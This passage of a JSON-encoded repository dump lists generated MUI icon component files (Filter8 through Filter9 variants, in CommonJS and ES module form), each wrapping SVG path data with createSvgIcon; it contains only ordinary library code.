2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-7-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-7-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}), 'Filter8Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm4-5.5c0-.83.67-1.5 1.5-1.5-.83 0-1.5-.67-1.5-1.5V7c0-1.11.9-2 2-2h2c1.1 0 2 .89 2 2v1.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V13c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2zM13 7h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2m10-8h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}, \"1\")], 'Filter8TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm4-5.5c0-.83.67-1.5 1.5-1.5-.83 0-1.5-.67-1.5-1.5V7c0-1.11.9-2 2-2h2c1.1 0 2 .89 2 2v1.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V13c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2zM13 7h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2m10-8h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 2m0-8h2v2h-2zm0 4h2v2h-2z\"\n}, \"1\")], 'Filter8TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM15 5h-2c-1.1 0-2 .89-2 2v2c0 1.11.9 2 2 2h2v2h-4v2h4c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2m0 4h-2V7h2z\"\n}), 'Filter9');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM15 5h-2c-1.1 0-2 .89-2 2v2c0 1.11.9 2 2 2h2v2h-4v2h4c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2m0 4h-2V7h2z\"\n}), 'Filter9');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM15 5h-2c-1.1 0-2 .89-2 2v2c0 1.11.9 2 2 2h2v2h-4v2h4c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2m0 4h-2V7h2z\"\n}), 'Filter9Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM15 5h-2c-1.1 0-2 .89-2 2v2c0 1.11.9 2 2 2h2v2h-4v2h4c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2m0 4h-2V7h2z\"\n}), 'Filter9Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Plus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 7V8c0-1.11-.9-2-2-2h-1c-1.1 0-2 .89-2 2v1c0 1.11.9 2 2 2h1v1H9v2h3c1.1 0 2-.89 2-2m-3-3V8h1v1zm10-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}), 'Filter9Plus');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Plus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 7V8c0-1.11-.9-2-2-2h-1c-1.1 0-2 .89-2 2v1c0 1.11.9 2 2 2h1v1H9v2h3c1.1 0 2-.89 2-2m-3-3V8h1v1zm10-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}), 'Filter9Plus');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 7V8c0-1.11-.9-2-2-2h-1c-1.1 0-2 .89-2 2v1c0 1.11.9 2 2 2h1v1H9v2h3c1.1 0 2-.89 2-2m-3-3V8h1v1zm10-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}), 'Filter9PlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm11 7V8c0-1.11-.9-2-2-2h-1c-1.1 0-2 .89-2 2v1c0 1.11.9 2 2 2h1v1H9v2h3c1.1 0 2-.89 2-2m-3-3V8h1v1zm10-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}), 'Filter9PlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m12 7V8c0-1.1-.9-2-2-2h-1c-1.1 0-2 .9-2 2v1c0 1.1.9 2 2 2h1v1h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.1 0 2-.9 2-2m-3-3V8h1v1zm10-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m1-7c0-.55-.45-1-1-1h-1V8c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1\"\n}), 'Filter9PlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m12 7V8c0-1.1-.9-2-2-2h-1c-1.1 0-2 .9-2 2v1c0 1.1.9 2 2 2h1v1h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.1 0 2-.9 2-2m-3-3V8h1v1zm10-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m1-7c0-.55-.45-1-1-1h-1V8c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1\"\n}), 'Filter9PlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm11 9V6H9v5h3v1H9v2zm-3-5V8h1v1zm12-8H5v18h18zm-2 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}), 'Filter9PlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm11 9V6H9v5h3v1H9v2zm-3-5V8h1v1zm12-8H5v18h18zm-2 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}), 'Filter9PlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14v-6h-2v2h-2v-2h-2V9h2V7h2v2h2V3H7zm2-5h3v-1h-1c-1.1 0-2-.89-2-2V8c0-1.11.9-2 2-2h1c1.1 0 2 .89 2 2v4c0 1.11-.9 2-2 2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 21H3V5H1v16c0 1.1.9 2 2 2h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8h1v1h-1z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6h-1c-1.1 0-2 .89-2 2v1c0 1.11.9 2 2 2h1v1H9v2h3c1.1 0 2-.89 2-2V8c0-1.11-.9-2-2-2m0 3h-1V8h1zm9-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}, \"3\")], 'Filter9PlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9PlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14v-6h-2v2h-2v-2h-2V9h2V7h2v2h2V3H7zm2-5h3v-1h-1c-1.1 0-2-.89-2-2V8c0-1.11.9-2 2-2h1c1.1 0 2 .89 2 2v4c0 1.11-.9 2-2 2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 21H3V5H1v16c0 1.1.9 2 2 2h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8h1v1h-1z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6h-1c-1.1 0-2 .89-2 2v1c0 1.11.9 2 2 2h1v1H9v2h3c1.1 0 2-.89 2-2V8c0-1.11-.9-2-2-2m0 3h-1V8h1zm9-8H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 8h-2V7h-2v2h-2v2h2v2h2v-2h2v6H7V3h14z\"\n}, \"3\")], 'Filter9PlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M15 5h-2c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h2v2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 4h-2V7h2z\"\n}), 'Filter9Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M15 5h-2c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h2v2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 4h-2V7h2z\"\n}), 'Filter9Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zM17 5h-6v6h4v2h-4v2h6zm-2 4h-2V7h2z\"\n}), 'Filter9Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zM17 5h-6v6h4v2h-4v2h6zm-2 4h-2V7h2z\"\n}), 'Filter9Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h2v2h-2zM7 17h14V3H7zm4-4h4v-2h-2c-1.1 0-2-.89-2-2V7c0-1.11.9-2 2-2h2c1.1 0 2 .89 2 2v6c0 1.11-.9 2-2 2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 23h16v-2H3V5H1v16c0 